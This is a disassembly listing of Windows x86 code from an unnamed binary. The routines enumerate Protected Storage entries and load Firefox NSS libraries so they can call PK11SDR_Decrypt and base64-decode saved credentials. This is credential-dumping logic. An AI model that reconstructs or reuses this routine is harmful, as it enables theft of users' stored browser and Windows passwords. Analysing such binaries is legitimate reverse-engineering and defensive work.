call dword_437088 ; lstrlenA
mov esi, [ebp-24h]
lea ecx, [esi-1]
cmp eax, ecx
jnb short loc_423F2A
xor ecx, ecx
xor edx, edx
test esi, esi
jbe short loc_423F20
loc_423EFE: ; CODE XREF: sub_423BB1+36Dj
mov eax, [ebp-18h]
mov al, [edx+eax]
test al, al
jnz short loc_423F12
mov byte ptr [ebp+ecx-414h], 2Ch
jmp short loc_423F19
; ---------------------------------------------------------------------------
loc_423F12: ; CODE XREF: sub_423BB1+355j
mov [ebp+ecx-414h], al
loc_423F19: ; CODE XREF: sub_423BB1+35Fj
inc ecx
inc edx
inc edx
cmp edx, esi
jb short loc_423EFE
loc_423F20: ; CODE XREF: sub_423BB1+34Bj
and byte ptr [ebp+ecx-415h], 0
jmp short loc_423F42
; ---------------------------------------------------------------------------
loc_423F2A: ; CODE XREF: sub_423BB1+343j
push dword ptr [ebp-18h]
lea eax, [ebp-414h]
push offset aS_5 ; "%s"
push eax
call dword_437274
add esp, 0Ch
loc_423F42: ; CODE XREF: sub_423BB1+377j
mov esi, dword_4370A4
lea eax, [ebp-0DFCh]
push edi
push eax
call esi ; dword_4370A4
lea eax, [ebp-814h]
push edi
push eax
call esi ; dword_4370A4
lea eax, [ebp-84h]
push offset a5e7e8100 ; "5e7e8100"
push eax
call dword_4370EC ; lstrcmpA
test eax, eax
jnz loc_424031
lea eax, [ebp-1B0h]
push edi
push eax
call esi ; dword_4370A4
lea eax, [ebp-414h]
push offset asc_446DE8 ; ":"
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_423FCB
lea eax, [ebp-414h]
push offset asc_446DE8 ; ":"
push eax
call sub_42ADD0
pop ecx
inc eax
pop ecx
push eax
lea eax, [ebp-1B0h]
push eax
call esi ; dword_4370A4
lea eax, [ebp-414h]
push offset asc_446DE8 ; ":"
push eax
call sub_42ADD0
and byte ptr [eax], 0
pop ecx
pop ecx
loc_423FCB: ; CODE XREF: sub_423BB1+3E4j
inc dword ptr [ebp-14h]
lea eax, [ebp-414h]
push edi
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_423FF2
lea eax, [ebp-1B0h]
push edi
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_423FF8
loc_423FF2: ; CODE XREF: sub_423BB1+42Dj
cmp dword ptr [ebp+1Ch], 0
jz short loc_424031
loc_423FF8: ; CODE XREF: sub_423BB1+43Fj
lea eax, [ebp-1B0h]
cmp dword ptr [ebp+18h], 0
push eax
lea eax, [ebp-414h]
push eax
lea eax, [ebp-614h]
push eax
push ebx
push offset dword_4501FC
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
jnz short loc_424029
call sub_41CE86
jmp short loc_42402E
; ---------------------------------------------------------------------------
loc_424029: ; CODE XREF: sub_423BB1+46Fj
call sub_41CF1A
loc_42402E: ; CODE XREF: sub_423BB1+476j
add esp, 20h
loc_424031: ; CODE XREF: sub_423BB1+3BFj
; sub_423BB1+445j
lea eax, [ebp-84h]
push offset aE161255a ; "e161255a"
push eax
call dword_4370EC ; lstrcmpA
test eax, eax
jnz loc_424194
lea eax, [ebp-614h]
push offset aStringindex ; "StringIndex"
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz loc_424194
lea eax, [ebp-614h]
push offset dword_4501DC
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_424093
lea eax, [ebp-614h]
push offset dword_4501DC
push eax
call sub_42ADD0
and byte ptr [eax], 0
pop ecx
pop ecx
loc_424093: ; CODE XREF: sub_423BB1+4CAj
lea eax, [ebp-614h]
push 8
push eax
lea eax, [ebp-1B0h]
push eax
call dword_437128 ; lstrcpynA
lea eax, [ebp-1B0h]
push offset dword_4501D4
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4240DB
lea eax, [ebp-1B0h]
push offset dword_4501CC
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz loc_424194
loc_4240DB: ; CODE XREF: sub_423BB1+50Dj
lea eax, [ebp-1B0h]
push edi
push eax
call esi ; dword_4370A4
lea eax, [ebp-414h]
push offset dword_44F100
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_424130
lea eax, [ebp-414h]
push offset dword_44F100
push eax
call sub_42ADD0
pop ecx
inc eax
pop ecx
push eax
lea eax, [ebp-1B0h]
push eax
call esi ; dword_4370A4
lea eax, [ebp-414h]
push offset dword_44F100
push eax
call sub_42ADD0
and byte ptr [eax], 0
pop ecx
pop ecx
loc_424130: ; CODE XREF: sub_423BB1+549j
mov esi, dword_437174
inc dword ptr [ebp-14h]
lea eax, [ebp-414h]
push edi
push eax
call esi ; dword_437174
test eax, eax
jz short loc_424155
lea eax, [ebp-1B0h]
push edi
push eax
call esi ; dword_437174
test eax, eax
jnz short loc_42415B
loc_424155: ; CODE XREF: sub_423BB1+594j
cmp dword ptr [ebp+1Ch], 0
jz short loc_424194
loc_42415B: ; CODE XREF: sub_423BB1+5A2j
lea eax, [ebp-1B0h]
cmp dword ptr [ebp+18h], 0
push eax
lea eax, [ebp-414h]
push eax
lea eax, [ebp-614h]
push eax
push ebx
push offset dword_4501A8
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
jnz short loc_42418C
call sub_41CE86
jmp short loc_424191
; ---------------------------------------------------------------------------
loc_42418C: ; CODE XREF: sub_423BB1+5D2j
call sub_41CF1A
loc_424191: ; CODE XREF: sub_423BB1+5D9j
add esp, 20h
loc_424194: ; CODE XREF: sub_423BB1+494j
; sub_423BB1+4AFj ...
lea eax, [ebp-84h]
push offset aB9819c52 ; "b9819c52"
push eax
call dword_4370EC ; lstrcmpA
test eax, eax
jnz loc_424333
mov eax, [ebp-18h]
xor esi, esi
xor edi, edi
cmp [ebp-24h], esi
jbe short loc_4241FD
loc_4241BA: ; CODE XREF: sub_423BB1+64Aj
mov cl, [esi+eax]
test cl, cl
jnz short loc_4241CB
mov byte ptr [ebp+edi-414h], 2Ch
jmp short loc_4241F5
; ---------------------------------------------------------------------------
loc_4241CB: ; CODE XREF: sub_423BB1+60Ej
push ecx
call dword_437264
test eax, eax
mov eax, [ebp-18h]
jnz short loc_4241EB
mov cl, [esi+eax]
cmp cl, 40h
jz short loc_4241EB
cmp cl, 2Eh
jz short loc_4241EB
cmp cl, 5Fh
jnz short loc_4241F6
loc_4241EB: ; CODE XREF: sub_423BB1+626j
; sub_423BB1+62Ej ...
mov cl, [esi+eax]
mov [ebp+edi-414h], cl
loc_4241F5: ; CODE XREF: sub_423BB1+618j
inc edi
loc_4241F6: ; CODE XREF: sub_423BB1+638j
inc esi
inc esi
cmp esi, [ebp-24h]
jb short loc_4241BA
loc_4241FD: ; CODE XREF: sub_423BB1+607j
and byte ptr [ebp+edi-415h], 0
and dword ptr [ebp-1Ch], 0
cmp byte ptr [eax+4], 0
lea esi, [ebp-412h]
jbe loc_424333
mov edi, offset dword_44F100
loc_42421E: ; CODE XREF: sub_423BB1+77Cj
inc esi
lea eax, [ebp-214h]
push esi
push eax
call dword_4370A4 ; lstrcpyA
lea eax, [ebp-214h]
push edi
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_424252
lea eax, [ebp-214h]
push edi
push eax
call sub_42ADD0
and byte ptr [eax], 0
pop ecx
pop ecx
loc_424252: ; CODE XREF: sub_423BB1+68Dj
push edi
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_424278
push edi
push esi
call sub_42ADD0
pop ecx
inc eax
pop ecx
inc eax
push eax
lea eax, [ebp-0E8h]
push eax
call dword_4370A4 ; lstrcpyA
loc_424278: ; CODE XREF: sub_423BB1+6ACj
lea eax, [ebp-0E8h]
push edi
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_42429D
lea eax, [ebp-0E8h]
push edi
push eax
call sub_42ADD0
and byte ptr [eax], 0
pop ecx
pop ecx
loc_42429D: ; CODE XREF: sub_423BB1+6D8j
push edi
push esi
call sub_42ADD0
pop ecx
mov esi, eax
pop ecx
lea eax, [ebp-0E8h]
push eax
call dword_437088 ; lstrlenA
lea esi, [esi+eax+9]
lea eax, [ebp-0E8h]
push offset byte_454A34
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_4242E5
lea eax, [ebp-214h]
push offset byte_454A34
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_4242EB
loc_4242E5: ; CODE XREF: sub_423BB1+71Cj
cmp dword ptr [ebp+1Ch], 0
jz short loc_424320
loc_4242EB: ; CODE XREF: sub_423BB1+732j
lea eax, [ebp-0E8h]
inc dword ptr [ebp-14h]
push eax
lea eax, [ebp-214h]
push eax
push ebx
cmp dword ptr [ebp+18h], 0
push offset dword_450174
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
jnz short loc_424318
call sub_41CE86
jmp short loc_42431D
; ---------------------------------------------------------------------------
loc_424318: ; CODE XREF: sub_423BB1+75Ej
call sub_41CF1A
loc_42431D: ; CODE XREF: sub_423BB1+765j
add esp, 1Ch
loc_424320: ; CODE XREF: sub_423BB1+738j
mov eax, [ebp-18h]
inc dword ptr [ebp-1Ch]
movzx eax, byte ptr [eax+4]
cmp [ebp-1Ch], eax
jl loc_42421E
loc_424333: ; CODE XREF: sub_423BB1+5F7j
; sub_423BB1+662j
lea eax, [ebp-84h]
push offset a220d5cc1 ; "220d5cc1"
push eax
call dword_4370EC ; lstrcmpA
test eax, eax
jnz loc_42444E
xor esi, esi
mov edi, offset byte_454A34
cmp dword_673668, esi
jle short loc_424399
mov dword ptr [ebp-1Ch], offset byte_66FC34
loc_424363: ; CODE XREF: sub_423BB1+7E6j
lea eax, [ebp-614h]
push eax
push dword ptr [ebp-1Ch]
call dword_4370EC ; lstrcmpA
test eax, eax
jnz short loc_424389
lea eax, [ebp-414h]
push edi
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_4243C8
loc_424389: ; CODE XREF: sub_423BB1+7C4j
add dword ptr [ebp-1Ch], 12Ch
inc esi
cmp esi, dword_673668
jl short loc_424363
loc_424399: ; CODE XREF: sub_423BB1+7A9j
lea eax, [ebp-414h]
push edi
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_42440C
mov eax, esi
push edi
imul eax, 12Ch
mov edi, offset dword_66FBD0
add eax, edi
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_424417
jmp short loc_424411
; ---------------------------------------------------------------------------
loc_4243C8: ; CODE XREF: sub_423BB1+7D6j
imul esi, 12Ch
lea eax, [ebp-414h]
inc dword ptr [ebp-14h]
push eax
lea eax, dword_66FBD0[esi]
push eax
lea eax, dword_66FC98[esi]
push eax
push ebx
cmp dword ptr [ebp+18h], 0
push offset dword_45013C
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
jnz short loc_424405
call sub_41CE86
loc_424400: ; CODE XREF: sub_423BB1+859j
add esp, 20h
jmp short loc_42444E
; ---------------------------------------------------------------------------
loc_424405: ; CODE XREF: sub_423BB1+848j
call sub_41CF1A
jmp short loc_424400
; ---------------------------------------------------------------------------
loc_42440C: ; CODE XREF: sub_423BB1+7F8j
mov edi, offset dword_66FBD0
loc_424411: ; CODE XREF: sub_423BB1+815j
cmp dword ptr [ebp+1Ch], 0
jz short loc_42444E
loc_424417: ; CODE XREF: sub_423BB1+813j
imul esi, 12Ch
lea eax, [ebp-414h]
add esi, edi
push eax
inc dword ptr [ebp-14h]
push esi
push ebx
cmp dword ptr [ebp+18h], 0
push offset dword_45010C
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
jnz short loc_424446
call sub_41CE86
jmp short loc_42444B
; ---------------------------------------------------------------------------
loc_424446: ; CODE XREF: sub_423BB1+88Cj
call sub_41CF1A
loc_42444B: ; CODE XREF: sub_423BB1+893j
add esp, 1Ch
loc_42444E: ; CODE XREF: sub_423BB1+796j
; sub_423BB1+852j ...
mov esi, 200h
lea eax, [ebp-614h]
push esi
push 0
push eax
call sub_429690
push esi
lea eax, [ebp-414h]
push 0
push eax
call sub_429690
add esp, 18h
mov edi, offset byte_454A34
jmp loc_423E5C
; ---------------------------------------------------------------------------
loc_42447E: ; CODE XREF: sub_423BB1+2CEj
mov eax, [ebp-28h]
mov byte ptr [ebp-4], 2
cmp eax, esi
jz loc_423DF4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_423DF4
; ---------------------------------------------------------------------------
loc_424498: ; CODE XREF: sub_423BB1+266j
mov eax, [ebp-2Ch]
mov byte ptr [ebp-4], 1
cmp eax, esi
jz loc_423D68
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_423D68
; ---------------------------------------------------------------------------
loc_4244B2: ; CODE XREF: sub_423BB1+1DAj
cmp [ebp-14h], edi
jnz short loc_4244F0
cmp [ebp+14h], edi
mov esi, offset aSNoPstoreEntri ; "%s No PStore entries found."
jnz short loc_4244DB
cmp [ebp+18h], edi
jnz short loc_4244E0
cmp [ebp+1Ch], edi
jz short loc_4244F0
push ebx
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD84
add esp, 10h
loc_4244DB: ; CODE XREF: sub_423BB1+90Ej
cmp [ebp+18h], edi
jz short loc_4244F0
loc_4244E0: ; CODE XREF: sub_423BB1+913j
push ebx
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD0E
add esp, 10h
loc_4244F0: ; CODE XREF: sub_423BB1+904j
; sub_423BB1+918j ...
mov eax, [ebp-20h]
and byte ptr [ebp-4], 0
cmp eax, edi
jz short loc_424501
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_424501: ; CODE XREF: sub_423BB1+948j
mov eax, [ebp-10h]
or dword ptr [ebp-4], 0FFFFFFFFh
cmp eax, edi
jz short loc_424512
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_424512: ; CODE XREF: sub_423BB1+959j
xor eax, eax
inc eax
loc_424515: ; CODE XREF: sub_423BB1+1ADj
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_423BB1 endp
; =============== S U B R O U T I N E =======================================
sub_424524 proc near ; CODE XREF: sub_424A42+8Dp
arg_0 = dword ptr 4
and dword_673670, 0
and dword_67366C, 0
push offset word_43EF70
push [esp+4+arg_0]
call sub_42A43C
pop ecx
mov dword_6737AC, eax
pop ecx
xor ecx, ecx
test eax, eax
setnz cl
mov eax, ecx
retn
sub_424524 endp
; =============== S U B R O U T I N E =======================================
sub_424551 proc near ; CODE XREF: sub_42459D:loc_4245A8p
mov eax, dword_673670
cmp eax, dword_67366C
jl short loc_42458B
push dword_6737AC
and dword_673670, 0
push 2800h
push 1
push offset byte_66D3C8
call sub_42A0B8
add esp, 10h
mov dword_67366C, eax
test eax, eax
jg short loc_42458B
xor al, al
retn
; ---------------------------------------------------------------------------
loc_42458B: ; CODE XREF: sub_424551+Bj
; sub_424551+35j
mov eax, dword_673670
inc dword_673670
mov al, byte_66D3C8[eax]
retn
sub_424551 endp
; =============== S U B R O U T I N E =======================================
sub_42459D proc near ; CODE XREF: sub_424A42+A9p
; sub_424A42+B6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
and byte ptr [edi], 0
loc_4245A8: ; CODE XREF: sub_42459D+1Fj
; sub_42459D+25j ...
call sub_424551
movsx eax, al
test eax, eax
jz short loc_4245E3
cmp eax, 0Ah
jz short loc_4245D9
cmp eax, 0Dh
jz short loc_4245A8
xor ecx, ecx
loc_4245C0: ; CODE XREF: sub_42459D+38j
test al, al
jz short loc_4245A8
cmp esi, [esp+8+arg_4]
jge short loc_4245E3
mov [esi+edi], al
inc esi
shr eax, 8
inc ecx
cmp ecx, 4
jl short loc_4245C0
jmp short loc_4245A8
; ---------------------------------------------------------------------------
loc_4245D9: ; CODE XREF: sub_42459D+1Aj
and byte ptr [esi+edi], 0
xor eax, eax
inc eax
loc_4245E0: ; CODE XREF: sub_42459D+48j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4245E3: ; CODE XREF: sub_42459D+15j
; sub_42459D+2Bj
xor eax, eax
jmp short loc_4245E0
sub_42459D endp
; =============== S U B R O U T I N E =======================================
sub_4245E7 proc near ; CODE XREF: sub_424FC9+D9p
; sub_424FC9+EFp
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43706C ; GetFileAttributesA
movzx eax, al
shr eax, 4
and eax, 1
retn
sub_4245E7 endp
; =============== S U B R O U T I N E =======================================
sub_4245FB proc near ; CODE XREF: sub_424DE2+DFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_4292D0
xor edx, edx
pop ecx
test eax, eax
jle short loc_424625
loc_42460D: ; CODE XREF: sub_4245FB+28j
mov cl, [edx+esi]
cmp cl, 41h
jl short loc_424620
cmp cl, 5Ah
jg short loc_424620
add cl, 20h
mov [edx+esi], cl
loc_424620: ; CODE XREF: sub_4245FB+18j
; sub_4245FB+1Dj
inc edx
cmp edx, eax
jl short loc_42460D
loc_424625: ; CODE XREF: sub_4245FB+10j
pop esi
retn
sub_4245FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424627 proc near ; CODE XREF: sub_424699+2Ep
; sub_424699+40p ...
var_1000 = byte ptr -1000h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_429A90
mov al, byte_454A34
push esi
push edi
mov [ebp+var_1000], al
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_FFF]
push [ebp+arg_0]
rep stosd
stosw
stosb
lea eax, [ebp+var_1000]
push eax
call dword_4370A4 ; lstrcpyA
mov esi, dword_437090
lea eax, [ebp+var_1000]
push offset asc_446DD8 ; "/"
push eax
call esi ; dword_437090
push [ebp+arg_4]
lea eax, [ebp+var_1000]
push eax
call esi ; dword_437090
lea eax, [ebp+var_1000]
push eax
call dword_437034 ; LoadLibraryA
pop edi
mov dword_6737A8, eax
pop esi
leave
retn
sub_424627 endp
; =============== S U B R O U T I N E =======================================
sub_424699 proc near ; CODE XREF: sub_424FC9+FEp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
push edi
cmp esi, ebx
mov dword_6737A4, ebx
mov dword_6737A0, ebx
mov edi, offset aPlc4_dll ; "plc4.dll"
mov ebp, offset aNss3_dll ; "nss3.dll"
jz loc_42478B
push offset aMozcrt19_dll ; "mozcrt19.dll"
push esi
call sub_424627
pop ecx
mov ebx, offset aNspr4_dll ; "nspr4.dll"
test eax, eax
pop ecx
jz short loc_424720
push ebx
push esi
call sub_424627
pop ecx
test eax, eax
pop ecx
jz short loc_424720
push offset aPlds4_dll ; "plds4.dll"
push esi
call sub_424627
pop ecx
test eax, eax
pop ecx
jz short loc_424720
push edi
push esi
call sub_424627
pop ecx
test eax, eax
pop ecx
jz short loc_424720
push offset aNssutil3_dll ; "nssutil3.dll"
push esi
call sub_424627
pop ecx
test eax, eax
pop ecx
jz short loc_424720
push offset aSqlite3_dll ; "sqlite3.dll"
push esi
call sub_424627
pop ecx
pop ecx
loc_424720: ; CODE XREF: sub_424699+3Cj
; sub_424699+49j ...
push ebx
push esi
call sub_424627
pop ecx
test eax, eax
pop ecx
jz short loc_424781
push offset aPlds4_dll ; "plds4.dll"
push esi
call sub_424627
pop ecx
test eax, eax
pop ecx
jz short loc_424781
push edi
push esi
call sub_424627
pop ecx
mov dword_6737A4, eax
test eax, eax
pop ecx
jz short loc_424781
push edi
push esi
call sub_424627
pop ecx
mov dword_6737A4, eax
test eax, eax
pop ecx
jz short loc_424781
push offset aSoftokn3_dll ; "softokn3.dll"
push esi
call sub_424627
pop ecx
test eax, eax
pop ecx
jz short loc_424781
push ebp
push esi
call sub_424627
pop ecx
mov dword_6737A0, eax
pop ecx
loc_424781: ; CODE XREF: sub_424699+92j
; sub_424699+A3j ...
xor ebx, ebx
cmp dword_6737A0, ebx
jnz short loc_4247B5
loc_42478B: ; CODE XREF: sub_424699+22j
mov esi, dword_437034
push ebp
call esi ; dword_437034
push edi
mov dword_6737A0, eax
call esi ; dword_437034
cmp dword_6737A0, ebx
mov dword_6737A4, eax
jz loc_42488D
cmp eax, ebx
jz loc_42488D
loc_4247B5: ; CODE XREF: sub_424699+F0j
mov esi, dword_437030
push offset aNss_init ; "NSS_Init"
push dword_6737A0
call esi ; dword_437030
push offset aNss_shutdown ; "NSS_Shutdown"
mov dword_67377C, eax
push dword_6737A0
call esi ; dword_437030
push offset aPk11_getintern ; "PK11_GetInternalKeySlot"
mov dword_673780, eax
push dword_6737A0
call esi ; dword_437030
push offset aPk11_freeslot ; "PK11_FreeSlot"
mov dword_673784, eax
push dword_6737A0
call esi ; dword_437030
push offset aPk11_authentic ; "PK11_Authenticate"
mov dword_67378C, eax
push dword_6737A0
call esi ; dword_437030
push offset aPk11sdr_decryp ; "PK11SDR_Decrypt"
mov dword_673790, eax
push dword_6737A0
call esi ; dword_437030
push offset aPk11_checkuser ; "PK11_CheckUserPassword"
mov dword_673794, eax
push dword_6737A0
call esi ; dword_437030
cmp dword_67377C, ebx
mov dword_673788, eax
jz short loc_424888
cmp dword_673780, ebx
jz short loc_424888
cmp dword_673784, ebx
jz short loc_424888
cmp dword_673790, ebx
jz short loc_424888
cmp dword_673794, ebx
jz short loc_424888
cmp dword_67378C, ebx
jz short loc_424888
cmp eax, ebx
jz short loc_424888
push offset aPl_base64decod ; "PL_Base64Decode"
push dword_6737A4
call esi ; dword_437030
cmp eax, ebx
mov dword_673798, eax
jz short loc_424888
xor eax, eax
inc eax
jmp short loc_42488F
; ---------------------------------------------------------------------------
loc_424888: ; CODE XREF: sub_424699+1A6j
; sub_424699+1AEj ...
call sub_4248BB
loc_42488D: ; CODE XREF: sub_424699+10Ej
; sub_424699+116j
xor eax, eax
loc_42488F: ; CODE XREF: sub_424699+1EDj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_424699 endp
; =============== S U B R O U T I N E =======================================
sub_424894 proc near ; CODE XREF: sub_424FC9+109p
arg_0 = dword ptr 4
push [esp+arg_0]
and dword_67379C, 0
call dword_67377C
test eax, eax
pop ecx
jz short loc_4248B2
call sub_4248BB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4248B2: ; CODE XREF: sub_424894+14j
xor eax, eax
inc eax
mov dword_67379C, eax
retn
sub_424894 endp
; =============== S U B R O U T I N E =======================================
sub_4248BB proc near ; CODE XREF: sub_424699:loc_424888p
; sub_424894+16p
cmp dword_67379C, 0
jz short loc_4248CF
mov eax, dword_673780
test eax, eax
jz short loc_4248CF
call eax ; dword_673780
loc_4248CF: ; CODE XREF: sub_4248BB+7j
; sub_4248BB+10j
mov eax, dword_6737A0
push esi
mov esi, dword_437038
test eax, eax
jz short loc_4248E2
push eax
call esi ; dword_437038
loc_4248E2: ; CODE XREF: sub_4248BB+22j
mov eax, dword_6737A4
test eax, eax
jz short loc_4248EE
push eax
call esi ; dword_437038
loc_4248EE: ; CODE XREF: sub_4248BB+2Ej
pop esi
retn
sub_4248BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4248F0 proc near ; CODE XREF: sub_424A42+189p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
lea ecx, [ebp+var_10]
cmp [eax], bl
push esi
mov [ebp+var_10], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
push ecx
jz short loc_42497A
lea ecx, [ebp+var_8]
push ecx
push eax
call sub_424990
add esp, 0Ch
test eax, eax
jz short loc_424976
cmp [ebp+var_8], ebx
jz short loc_424976
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_8]
call sub_4249E3
add esp, 10h
test eax, eax
jz short loc_424976
cmp [ebp+var_C], ebx
jz short loc_424976
mov eax, [ebp+var_4]
inc eax
push eax
call sub_4296E8
mov esi, [ebp+arg_4]
cmp eax, ebx
pop ecx
mov [esi], eax
jz short loc_424976
push [ebp+var_4]
push [ebp+var_C]
push eax
call sub_429350
mov eax, [esi]
mov ecx, [ebp+var_4]
add esp, 0Ch
mov [ecx+eax], bl
xor eax, eax
inc eax
jmp short loc_42498C
; ---------------------------------------------------------------------------
loc_424976: ; CODE XREF: sub_4248F0+30j
; sub_4248F0+35j ...
xor eax, eax
jmp short loc_42498C
; ---------------------------------------------------------------------------
loc_42497A: ; CODE XREF: sub_4248F0+1Fj
push [ebp+arg_4]
push eax
call sub_424990
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
loc_42498C: ; CODE XREF: sub_4248F0+84j
; sub_4248F0+88j
pop esi
pop ebx
leave
retn
sub_4248F0 endp
; =============== S U B R O U T I N E =======================================
sub_424990 proc near ; CODE XREF: sub_4248F0+26p
; sub_4248F0+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
push edi
call sub_4292D0
mov esi, eax
xor ebx, ebx
pop ecx
cmp byte ptr [esi+edi-1], 3Dh
jnz short loc_4249B4
inc ebx
cmp byte ptr [esi+edi-2], 3Dh
jnz short loc_4249B4
push 2
pop ebx
loc_4249B4: ; CODE XREF: sub_424990+17j
; sub_424990+1Fj
push 0
push esi
push edi
call dword_673798
mov ecx, [esp+18h+arg_4]
add esp, 0Ch
test eax, eax
mov [ecx], eax
jz short loc_4249DF
lea eax, [esi+esi*2]
push 4
cdq
pop ecx
idiv ecx
mov ecx, [esp+0Ch+arg_8]
sub eax, ebx
mov [ecx], eax
xor eax, eax
inc eax
loc_4249DF: ; CODE XREF: sub_424990+39j
pop edi
pop esi
pop ebx
retn
sub_424990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4249E3 proc near ; CODE XREF: sub_4248F0+45p
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
push esi
call dword_673784
mov esi, eax
xor eax, eax
cmp esi, eax
jz short loc_424A20
mov ecx, [ebp+arg_0]
mov [ebp+var_8], eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_C]
mov [ebp+var_14], ecx
mov ecx, [ebp+arg_4]
push eax
lea eax, [ebp+var_18]
mov [ebp+var_10], ecx
push eax
call dword_673794
add esp, 0Ch
test eax, eax
jz short loc_424A24
loc_424A20: ; CODE XREF: sub_4249E3+13j
xor eax, eax
jmp short loc_424A3F
; ---------------------------------------------------------------------------
loc_424A24: ; CODE XREF: sub_4249E3+3Bj
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_8]
push esi
mov [eax], ecx
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_4]
mov [eax], ecx
call dword_67378C
xor eax, eax
pop ecx
inc eax
loc_424A3F: ; CODE XREF: sub_4249E3+3Fj
pop esi
leave
retn
sub_4249E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A42 proc near ; CODE XREF: sub_424FC9+131p
; sub_424FC9+154p ...
var_A008 = byte ptr -0A008h
var_7808 = byte ptr -7808h
var_5008 = byte ptr -5008h
var_2808 = byte ptr -2808h
var_2807 = byte ptr -2807h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
mov eax, 0A008h
call sub_429A90
push ebx
push esi
mov esi, [ebp+arg_4]
xor eax, eax
cmp esi, offset dword_4503AC
mov [ebp+var_8], eax
mov [ebp+var_4], eax
jnz short loc_424A6B
mov [ebp+var_4], 1
loc_424A6B: ; CODE XREF: sub_424A42+20j
cmp esi, offset dword_45039C
jnz short loc_424A7A
mov [ebp+var_4], 2
loc_424A7A: ; CODE XREF: sub_424A42+2Fj
cmp esi, offset dword_45038C
jnz short loc_424A89
mov [ebp+var_4], 3
loc_424A89: ; CODE XREF: sub_424A42+3Ej
cmp [ebp+arg_0], eax
jz loc_424C96
cmp esi, eax
jz loc_424C96
push [ebp+arg_0]
lea eax, [ebp+var_5008]
push eax
call dword_4370A4 ; lstrcpyA
mov ebx, dword_437090
lea eax, [ebp+var_5008]
push offset asc_44DA9C ; "\\"
push eax
call ebx ; dword_437090
lea eax, [ebp+var_5008]
push esi
push eax
call ebx ; dword_437090
lea eax, [ebp+var_5008]
push eax
call sub_424524
test eax, eax
pop ecx
jz loc_424C96
push edi
mov edi, 2800h
lea eax, [ebp+var_2808]
push edi
push eax
call sub_42459D
lea eax, [ebp+var_2808]
push edi
push eax
call sub_42459D
add esp, 10h
jmp short loc_424B2B
; ---------------------------------------------------------------------------
loc_424B02: ; CODE XREF: sub_424A42+EBj
lea eax, [ebp+var_2808]
push eax
call sub_4292D0
test eax, eax
pop ecx
